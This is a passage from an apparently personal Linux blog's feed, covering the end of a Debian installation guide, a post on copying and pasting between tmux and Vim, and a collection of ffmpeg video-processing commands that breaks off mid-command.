&lt;li&gt;Plug the one containing firmwares files on your target computer, in the same USB port as the previous USB stick. You might need to hit ALT+F2, then check what is currently mounted (&lt;code&gt;cat /etc/mtab&lt;/code&gt;) (make sure nothing on &lt;code&gt;/cdrom&lt;/code&gt;) and mount the one you just plugged in: &lt;code&gt;mount -t vfat /dev/sdb1 /cdrom&lt;/code&gt;. ALT+F1 to go back to the install screen.&lt;/li&gt;
&lt;li&gt;Answer "&lt;em&gt;Yes&lt;/em&gt;" to "&lt;em&gt;Load missing firmware from removable media?&lt;/em&gt;".&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Once completed, unplug the USB stick and plug the one containing Debian in the same port. You might need to re-write Debian if you re-used the same USB flash drive. Then press ALT+F1 and do:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;blkid &lt;span class="c1"&gt;# Identify a device with a partition of type iso9660&lt;/span&gt;
&lt;span class="c1"&gt;# Umount if need be&lt;/span&gt;
mount -t iso9660 /dev/sdc1 /cdrom
mount -t iso9660 /dev/sdc1 /mnt/iso &lt;span class="c1"&gt;# Might not be required&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Press ALT+F2 to return to the installation dialog.&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;When reaching the partitioning step, choose "&lt;em&gt;Guided using LVM encrypted&lt;/em&gt;". You should eventually obtain something like this:&lt;/p&gt;
&lt;p&gt;&lt;a href="https://romainpellerin.eu/images/debian_partitions.jpg"&gt;&lt;img alt="Picture" src="https://romainpellerin.eu/images/debian_partitions.jpg"&gt;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;When reaching the "&lt;em&gt;Software Selection&lt;/em&gt;", choose &lt;a href="http://forums.debian.net/viewtopic.php?f=17&amp;amp;t=125037#p595087"&gt;only XFCE as a desktop manager&lt;/a&gt;, in combinaison with the &lt;a href="http://comments.gmane.org/gmane.linux.debian.user/455520"&gt;print server&lt;/a&gt; and utilities. Do not use the Debian desktop environment. It is shitty as f*ck.&lt;/p&gt;
&lt;p&gt;&lt;a href="https://romainpellerin.eu/images/debian_selection.jpg"&gt;&lt;img alt="Picture" src="https://romainpellerin.eu/images/debian_selection.jpg"&gt;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Merely follow instructions until completion of the installation.&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;h2 id="switching-from-stable-to-testing"&gt;Switching from stable to testing&lt;/h2&gt;
&lt;p&gt;If you need to be up-to-date, that's the right thing to do!&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;su
cp /etc/apt/sources.list&lt;span class="o"&gt;{&lt;/span&gt;,.bak&lt;span class="o"&gt;}&lt;/span&gt;
sed -i -e &lt;span class="s1"&gt;&amp;#39;s/ \(stable\|stretch\)/ testing/ig&amp;#39;&lt;/span&gt; /etc/apt/sources.list
apt update
apt --download-only dist-upgrade
apt dist-upgrade
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;&lt;a href="http://unix.stackexchange.com/questions/90389/how-to-upgrade-debian-stable-wheezy-to-testing-jessie"&gt;More information&lt;/a&gt;.&lt;/p&gt;
&lt;h1 id="improve-your-privacy-by-using-trustworthy-dns-servers"&gt;Improve your privacy by using trustworthy DNS servers&lt;/h1&gt;
&lt;p&gt;I recommend &lt;a href="https://larlet.fr/david/stream/2015/10/12/"&gt;French Data Network's DNS servers&lt;/a&gt;: 80.67.169.12 and 80.67.169.40. Follow &lt;a href="http://askubuntu.com/questions/627899/nameserver-127-0-1-1-in-resolv-conf-wont-go-away"&gt;this link&lt;/a&gt; to find out how to configure Ubuntu.&lt;/p&gt;
&lt;h1 id="use-free-software"&gt;Use free software&lt;/h1&gt;
&lt;p&gt;Namely Icecat or Iceweasel and Icedove as alternatives to Firefox and Thunderbird respectively.&lt;/p&gt;
&lt;p&gt;Hope it was helpful.&lt;/p&gt;
&lt;h1 id="further-reading"&gt;Further reading&lt;/h1&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://wiki.debian.org/fr/AtiHowTo"&gt;Problem with AMD drivers&lt;/a&gt;. And don't forget about &lt;code&gt;arandr&lt;/code&gt;!&lt;/li&gt;
&lt;/ul&gt;</content><category term="Linux"></category><category term="linux"></category><category term="debian"></category><category term="xubuntu"></category></entry><entry><title>Copy Pasting In Tmux And Vim</title><link href="https://romainpellerin.eu/copy-pasting-in-tmux-and-vim.html" rel="alternate"></link><published>2016-04-06T16:30:00+02:00</published><updated>2022-09-24T12:11:00+02:00</updated><author><name>Romain Pellerin</name></author><id>tag:romainpellerin.eu,2016-04-06:/copy-pasting-in-tmux-and-vim.html</id><summary type="html">&lt;p&gt;How to copy and paste with Tmux and Vim&lt;/p&gt;</summary><content type="html">&lt;p&gt;Over the last couple of years, I've spent quite a lot of time fine-tuning my prompt. Most of my &lt;a href="https://github.com/rpellerin/dotfiles"&gt;configuration is available online&lt;/a&gt;, so feel free to use it.&lt;/p&gt;
&lt;p&gt;My configuration is as follows:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;I use &lt;code&gt;zsh&lt;/code&gt; rather than &lt;code&gt;bash&lt;/code&gt; cause it's way more powerful and convenient. In addition, I use the awesome &lt;a href="https://github.com/sorin-ionescu/prezto"&gt;Prezto&lt;/a&gt; which is a configuration framework built for &lt;code&gt;zsh&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;tmux&lt;/code&gt; to be able to open as many terminals as I want in only one window (very helpful).&lt;/li&gt;
&lt;li&gt;&lt;code&gt;vim&lt;/code&gt; as my main text editor. I use it for most things involving programming (except for Android, I have to admit, as Android Studio does the job really well).&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;For example, this is my current terminal (actually containing 3 terminals):&lt;/p&gt;
&lt;p&gt;&lt;a href="https://romainpellerin.eu/images/copy-pasting-tmux-vim-screenshot.png"&gt;&lt;img alt="Screenshot" src="https://romainpellerin.eu/images/copy-pasting-tmux-vim-screenshot.png"&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;em&gt;(the top-right terminal is of no use, I just opened it to show how clever zsh coupled with Prezto is).&lt;/em&gt;&lt;/p&gt;
&lt;h1 id="the-problem"&gt;The problem&lt;/h1&gt;
&lt;p&gt;I guess most beginners with Tmux and Vim (especially Vim) stumble upon one problem (and the number of questions on StackOverflow asserts it): how to properly copy-paste? I had that problem too. I'll answer to these questions simply.&lt;/p&gt;
&lt;p&gt;First of all, you have to know that, on X11 systems (which means most GNU/Llinux distros), there are two "clipboards":&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;* is the selection buffer. It's the one used when you select a text and paste it using the middle button of a mouse (it's actually made of two buffers called &lt;em&gt;PRIMARY&lt;/em&gt; and &lt;em&gt;SECONDARY&lt;/em&gt; but we don't need to know that).&lt;/li&gt;
&lt;li&gt;+ is the cut buffer (the one used with C-c C-v) also called &lt;em&gt;CLIPBOARD&lt;/em&gt;.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Secondly, you may know that, in most programs you can use:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;'Ctrl-c' or 'Ctrl-Shift-c' to copy to the cut buffer&lt;/li&gt;
&lt;li&gt;'Ctrl-v' or 'Ctrl-Shift-v' to paste from the cut buffer&lt;/li&gt;
&lt;li&gt;'Ctrl-Insert' to copy to the selection buffer or simply select text using a mouse&lt;/li&gt;
&lt;li&gt;'Shift-Insert' to paste from the selection buffer or simply use the middle button of a mouse&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Let us now see how to copy paste from one environment to another one.&lt;/p&gt;
&lt;h1 id="copy-pasting"&gt;Copy-pasting&lt;/h1&gt;
&lt;h2 id="copy-pasting-from-vim-to-vim-same-instance"&gt;Copy-pasting from Vim to Vim (same instance)&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;In normal mode, using the keys 'yy' (yank) or 'dd' (delete) and then 'p' (paste).&lt;/li&gt;
&lt;li&gt;Also using the visual mode with 'y' (yank).&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="copying-from-tmux"&gt;Copying from Tmux&lt;/h2&gt;
&lt;p&gt;Use my &lt;a href="https://github.com/rpellerin/dotfiles/blob/master/.tmux.conf"&gt;conf file&lt;/a&gt; and install &lt;code&gt;xclip&lt;/code&gt; (&lt;code&gt;sudo apt-get install xclip&lt;/code&gt;) to achieve the following:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;'C-b [': enter copy mode&lt;/li&gt;
&lt;li&gt;'v': begin selection&lt;/li&gt;
&lt;li&gt;'y': copy to clipboard and exit copy mode&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="copying-from-vim"&gt;Copying from Vim&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;In normal or visual mode, using '"+yy' (normal) '"+y' (visual) to copy to the cut buffer or '*yy' and '"*y' to copy to the selection buffer.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="pasting-in-tmux"&gt;Pasting in Tmux&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Paste in Tmux: 'Ctrl-Shift-v' (paste the clipboard) or 'Shift-Insert' (paste the selection).&lt;/li&gt;
&lt;li&gt;You can also use Tmux's own buffers (list them using &lt;code&gt;tmux list-buffers&lt;/code&gt; or show the current one with &lt;code&gt;tmux show-buffer&lt;/code&gt;). For instance, to past from the buffer, do 'C-b ]'.&lt;/li&gt;
&lt;li&gt;Tmux also allows you to paste its buffer in a file, using &lt;code&gt;tmux save-buffer foo.txt&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;To show or save a specific buffer, do &lt;code&gt;tmux show-buffer -b &amp;lt;n&amp;gt;&lt;/code&gt; or &lt;code&gt;tmux save-buffer -b &amp;lt;n&amp;gt; bar.txt&lt;/code&gt;.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="pasting-in-vim"&gt;Pasting in Vim&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Paste in Vim: '"+p' (cut buffer) or '"*p' (selection buffer).&lt;/li&gt;
&lt;li&gt;You can also use the shortcuts shown above in &lt;em&gt;Pasting in Tmux&lt;/em&gt; (first bullet point).&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Hope this was helpful.&lt;/p&gt;</content><category term="Linux"></category><category term="tmux"></category><category term="vi"></category><category term="vim"></category><category term="linux"></category><category term="terminal"></category></entry><entry><title>Tips For FFMPEG</title><link href="https://romainpellerin.eu/tips-for-ffmpeg.html" rel="alternate"></link><published>2016-02-21T21:30:00+01:00</published><updated>2025-02-04T21:49:00+01:00</updated><author><name>Romain Pellerin</name></author><id>tag:romainpellerin.eu,2016-02-21:/tips-for-ffmpeg.html</id><summary type="html">&lt;p&gt;A few tips with FFMPEG&lt;/p&gt;</summary><content type="html">&lt;p&gt;&lt;code&gt;-acodec&lt;/code&gt; is an alias for &lt;code&gt;-c:a&lt;/code&gt; which is an alias for &lt;code&gt;-codec:a&lt;/code&gt; (audio stream).&lt;br&gt;
&lt;code&gt;-vcodec&lt;/code&gt; is an alias for &lt;code&gt;-c:v&lt;/code&gt; which is an alias for &lt;code&gt;-codec:v&lt;/code&gt; (video stream).&lt;/p&gt;
&lt;p&gt;&lt;code&gt;-af&lt;/code&gt; is an alias for &lt;code&gt;-filter:a&lt;/code&gt; (audio stream).&lt;br&gt;
&lt;code&gt;-vf&lt;/code&gt; is an alias for &lt;code&gt;-filter:v&lt;/code&gt; (video stream).&lt;/p&gt;
&lt;h1 id="turn-a-portrait-video-into-a-landscape-one-adding-a-blurred-background-of-the-video"&gt;Turn a portrait video into a landscape one, adding a blurred background of the video&lt;/h1&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;ffmpeg -i input.mp4 -vf &lt;span class="s1"&gt;&amp;#39;split[original][copy];[copy]scale=ih*16/9:-1,crop=h=iw*9/16,gblur=sigma=20[blurred];[blurred][original]overlay=(main_w-overlay_w)/2:(main_h-overlay_h)/2&amp;#39;&lt;/span&gt; output.mp4
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;h1 id="cross-fade-a-video-for-seamless-loops"&gt;Cross fade a video for seamless loops&lt;/h1&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;curl -o ./video-crossfade -O https://raw.githubusercontent.com/joeyhoer/video-crossfade/master/video-crossfade.sh
chmod +x ./video-crossfade
./video-crossfade.sh -f &lt;span class="m"&gt;2&lt;/span&gt; -o output.mp4 input.mp4 &lt;span class="c1"&gt;# 2 second crossfade&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;h1 id="scale-a-27k-2704x1520-video-down-to-1080p"&gt;Scale a 2.7K (2704x1520) video down to 1080p&lt;/h1&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;ffmpeg -i input.mp4 -vf &lt;span class="s2"&gt;&amp;quot;scale=1920:1080,setsar=1&amp;quot;&lt;/span&gt; -acodec copy output.mp4
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;h1 id="convert-a-video-framerate-to-ntsc-2997002997"&gt;Convert a video framerate to NTSC (29.97002997)&lt;/h1&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;ffmpeg -i input.mp4 -r ntsc -acodec copy output.mp4
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;h1 id="split-a-video-in-several-chunks-of-same-duration"&gt;Split a video in several chunks of same duration&lt;/h1&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;ffmpeg -i input.mp4 -c copy -map &lt;span class="m"&gt;0&lt;/span&gt; -segment_time &lt;span class="m"&gt;00&lt;/span&gt;:00:30 -f segment -reset_timestamps &lt;span class="m"&gt;1&lt;/span&gt; output%03d.mp4
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;h1 id="add-optional-subtitles"&gt;&lt;a href="https://www.bannerbear.com/blog/how-to-add-subtitles-to-a-video-file-using-ffmpeg/"&gt;Add optional subtitles&lt;/a&gt;&lt;/h1&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;ffmpeg -i input.mp4 -i subtitle.eng.srt -i subtitle.deu.srt -map &lt;span class="m"&gt;0&lt;/span&gt; -map &lt;span class="m"&gt;1&lt;/span&gt; -map &lt;span class="m"&gt;2&lt;/span&gt; -c copy -c:s mov_text -metadata:s:s:0 &lt;span class="nv"&gt;language&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;eng -metadata:s:s:1 &lt;span class="nv"&gt;language&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;deu output_eng_deu.mp4
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;For .mkv files:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;ffmpeg -i input.mkv -f srt -i input.srt -map &lt;span class="m"&gt;0&lt;/span&gt;:0 -map &lt;span class="m"&gt;0&lt;/span&gt;:1 -map &lt;span class="m"&gt;1&lt;/span&gt;:0 -c:v copy -c:a copy -c:s text output.mkv
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;&lt;a href="https://ffmpeg.org/pipermail/ffmpeg-user/2015-December/029668.html"&gt;Swap &lt;code&gt;-c:s text&lt;/code&gt; with &lt;code&gt;-c:s srt&lt;/code&gt; if &lt;code&gt;input.srt&lt;/code&gt; does not contain any HTML tag.&lt;/a&gt;, otherwise stick to &lt;code&gt;text&lt;/code&gt;.&lt;/p&gt;
&lt;h1 id="add-embedded-subtitles-burned-in-subtitles"&gt;Add embedded subtitles (burned-in subtitles)&lt;/h1&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;sudo apt install subtitlecomposer
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;In subtitlecomposer, import the video, add subtitles, and export the file as &lt;code&gt;filename.ass&lt;/code&gt;. Edit the exported text file, change the font from 16px to 22. Then:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;ffmpeg -i input.mp4 -vf &lt;span class="nv"&gt;ass&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;filename.ass output.mp4
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;h1 id="create-a-video-out-of-several-images"&gt;Create a video out of several images&lt;/h1&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;ffmpeg -r &lt;span class="m"&gt;24&lt;/span&gt; -f image2 -s 1440x1080 -i image%04d.jpg -vcodec libx264 -crf &lt;span class="m"&gt;25&lt;/span&gt; -pix_fmt yuv420p output.mp4 &lt;span class="c1"&gt;# image0001.jpg, image0002.jpg, etc&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;h1 id="create-a-gif-from-a-video"&gt;Create a GIF from a video&lt;/h1&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="nv"&gt;palette&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;/tmp/palette.png&amp;quot;&lt;/span&gt;

&lt;span class="nv"&gt;filters&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;fps=15,scale=320:-1:flags=lanczos&amp;quot;&lt;/span&gt;

ffmpeg -v warning -i input.mp4 -vf &lt;span class="s2"&gt;&amp;quot;&lt;/span&gt;&lt;span class="nv"&gt;$filters&lt;/span&gt;&lt;span class="s2"&gt;,palettegen&amp;quot;&lt;/span&gt; -y &lt;span class="nv"&gt;$palette&lt;/span&gt;
ffmpeg -v warning -i input.mp4 -i &lt;span class="nv"&gt;$palette&lt;/span&gt; -lavfi &lt;span class="se"&gt;\&lt;/span&gt;
    &lt;span class="s2"&gt;&amp;quot;&lt;/span&gt;&lt;span class="nv"&gt;$filters&lt;/span&gt;&lt;span class="s2"&gt; [x]; [x][1:v] paletteuse&amp;quot;&lt;/span&gt; -y output.gif
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;h1 id="create-a-gif-from-images-01jpg-02jpg-03jpg-etc"&gt;Create a GIF from images (01.jpg, 02.jpg, 03.jpg, etc...)&lt;/h1&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;ffmpeg -f image2 -framerate &lt;span class="m"&gt;1&lt;/span&gt; -i %02d.jpg output.gif
&lt;span class="c1"&gt;# Or with ImageMagick&lt;/span&gt;
convert -delay &lt;span class="m"&gt;80&lt;/span&gt; *.jpg -loop &lt;span class="m"&gt;0&lt;/span&gt; output.gif
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;h1 id="crop-an-ogv-video"&gt;Crop an OGV video&lt;/h1&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;ffmpeg -i input.ogv -vcodec libtheora -vf &lt;span class="nv"&gt;crop&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="m"&gt;700&lt;/span&gt;:400:0:0 -f ogg output.ogv
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;h1 id="merge-an-audio-track-delayed-with-a-video-and-cut-the-final-video-according-to-the-shortest-stream"&gt;Merge an audio track (delayed) with a video, and cut the final video according to the shortest stream&lt;/h1&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;ffmpeg -itsoffset &lt;span class="m"&gt;00&lt;/span&gt;:00:15 -i input.mp4 -i audio.mp3 -acodec copy -vcodec copy &lt;span class="se"&gt;\&lt;/span&gt;
    -map &lt;span class="m"&gt;0&lt;/span&gt;:0 -map &lt;span class="m"&gt;1&lt;/span&gt;:0 -shortest output.mp4
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;h1 id="cut-a-video-set-the-starting-time-and-the-duration"&gt;Cut a video (set the starting time and the duration)&lt;/h1&gt;
&lt;p&gt;Two options mostly.&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;Process all the input and then precisely cut the re-encoded output at the requested time, the rest of the input that came out before is discarded. It is very slow because it has to process the beginning of the input even though it is discarded.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;ffmpeg -i input.mp4 -ss &lt;span class="m"&gt;00&lt;/span&gt;:00:13 -t &lt;span class="m"&gt;00&lt;/span&gt;:09:00 output.mp4
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Seek in input (fast but imprecise, &lt;a href="https://www.quora.com/What-is-the-difference-between-an-I-Frame-and-a-Keyframe-in-video-encoding"&gt;can only cut at key frames&lt;/a&gt;) and do not re-encode to preserve quality:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;ffmpeg -ss &lt;span class="m"&gt;00&lt;/span&gt;:00:13 -i input.mp4 -t &lt;span class="m"&gt;00&lt;/span&gt;:09:00 -c copy -avoid_negative_ts make_zero output.mp4
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;a href="https://trac.ffmpeg.org/wiki/Seeking"&gt;More information&lt;/a&gt;.&lt;/p&gt;
&lt;h1 id="extract-every-image-from-a-video"&gt;Extract EVERY image from a video&lt;/h1&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;ffmpeg -i foo.avi -r &lt;span class="m"&gt;1&lt;/span&gt; -s WxH -f image2 foo-%03d.jpeg
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;h1 id="create-a-24fps-video-from-many-images"&gt;&lt;a href="http://trac.ffmpeg.org/wiki/Create%20a%20video%20slideshow%20from%20images"&gt;Create a 24fps video from many images&lt;/a&gt;&lt;/h1&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;ffmpeg -framerate &lt;span class="m"&gt;1&lt;/span&gt; -i foo-%02d.jpg -c:v libx264 -r &lt;span class="m"&gt;24&lt;/span&gt; -pix_fmt yuv420p foo.mp4
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;h1 id="accelerate-a-video-by-2"&gt;Accelerate a video by 2&lt;/h1&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;ffmpeg -i input.mp4 -filter:v &lt;span class="s2"&gt;&amp;quot;setpts=0.5*PTS&amp;quot;&lt;/span&gt; output.mp4
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;h1 id="keep-the-original-metadata-of-a-mp4-file"&gt;Keep the original metadata of a MP4 file&lt;/h1&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;ffmpeg -i original_video.mp4 -c:v libx264 -c:a copy -map_metadata &lt;span class="m"&gt;0&lt;/span&gt; transcoded_video.mp4
touch -r original_video.mp4 transcoded_video.mp4
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;h1 id="flip-by-180-a-video-and-fix-the-metadata"&gt;Flip by 180° a video and fix the metadata&lt;/h1&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;ffmpeg -i input.mp4 -vf &lt;span class="s2"&gt;&amp;quot;transpose=2,transpose=2&amp;quot;&lt;/span&gt; -metadata:s:v:0 &lt;span class="nv"&gt;rotate&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="m"&gt;0&lt;/span&gt; output.mp4
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;h1 id="remove-the-audio-stream"&gt;Remove the audio stream&lt;/h1&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;ffmpeg -i input.mp4 -an -vcodec copy output.mp4
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;h1 id="convert-from-mov-to-mp4"&gt;Convert from .mov to .mp4&lt;/h1&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;ffmpeg -i input.mov -c:v libx264 -c:a copy output.mp4
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;h1 id="concatenate-several-mp4-files"&gt;&lt;a href="https://trac.ffmpeg.org/wiki/Concatenate"&gt;Concatenate several MP4 files&lt;/a&gt;&lt;/h1&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;find . -type f -iname &lt;span class="s2"&gt;&amp;quot;*.MP4&amp;quot;&lt;/span&gt; -exec ffmpeg -i &lt;span class="s1"&gt;&amp;#39;{}&amp;#39;&lt;/span&gt; -c copy -bsf:v h264_mp4toannexb -f mpegts &lt;span class="s1"&gt;&amp;#39;{}.ts&amp;#39;&lt;/span&gt; &lt;span class="se"&gt;\;&lt;/span&gt;
ffmpeg -i &lt;span class="s2"&gt;&amp;quot;concat:&lt;/span&gt;&lt;span class="k"&gt;$(&lt;/span&gt;find . -type f -iname &lt;span class="s2"&gt;&amp;quot;*.ts&amp;quot;&lt;/span&gt; &lt;span class="p"&gt;|&lt;/span&gt; sort &lt;span class="p"&gt;|&lt;/span&gt; tr &lt;span class="s1"&gt;&amp;#39;\n&amp;#39;&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;|&amp;#39;&lt;/span&gt; &lt;span class="p"&gt;|&lt;/span&gt; head -c -1&lt;span class="k"&gt;)&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;&lt;/span&gt; -c copy -avoid_negative_ts make_zero -bsf:a aac_adtstoasc output.mp4
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;h1 id="converting-a-hdr-video-into-a-sdr-one"&gt;Converting a HDR video into a SDR one&lt;/h1&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;ffmpeg -i input.mkv &lt;span class="se"&gt;\&lt;/span&gt;
-vf &lt;span class="nv"&gt;zscale&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="nv"&gt;t&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;linear:npl&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="m"&gt;100&lt;/span&gt;,format&lt;span class="o"&gt;=&lt;/span&gt;gbrpf32le,zscale&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="nv"&gt;p&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;bt709,tonemap&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="nv"&gt;tonemap&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;hable:desat&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="m"&gt;0&lt;/span&gt;,zscale&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="nv"&gt;t&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;bt709:m&lt;span class="o"&gt;=&lt;/span&gt;bt709:r&lt;span class="o"&gt;=&lt;/span&gt;tv,format&lt;span class="o"&gt;=&lt;/span&gt;yuv420p &lt;span class="se"&gt;\&lt;/span&gt;
-c:v libx265 -crf &lt;span class="m"&gt;18&lt;/span&gt; -preset slower &lt;span class="se"&gt;\&lt;/span&gt;
output.mkv
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;&lt;a href="https://web.archive.org/web/20190722004804/https://stevens.li/guides/video/converting-hdr-to-sdr-with-ffmpeg/"&gt;source&lt;/a&gt;&lt;/p&gt;
&lt;h1 id="fade-out-last-2-seconds-of-audio-track"&gt;Fade out last 2 seconds of audio track&lt;/h1&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;ffmpeg -i output-with-sound.mp4 -c:v copy -filter_complex &lt;span class="s2"&gt;&amp;quot;areverse, afade=d=2, areverse&amp;quot;&lt;/span&gt; output-with-sound-fadeout.mp4
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;h1 id="merge-two-videos-placed-side-by-side-with-audio-from-first-video"&gt;Merge two videos placed side by side with audio from first video&lt;/h1&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;ffmpeg -i left.mp4 -i right.mp4 &lt;span class="se"&gt;\&lt;/span&gt;
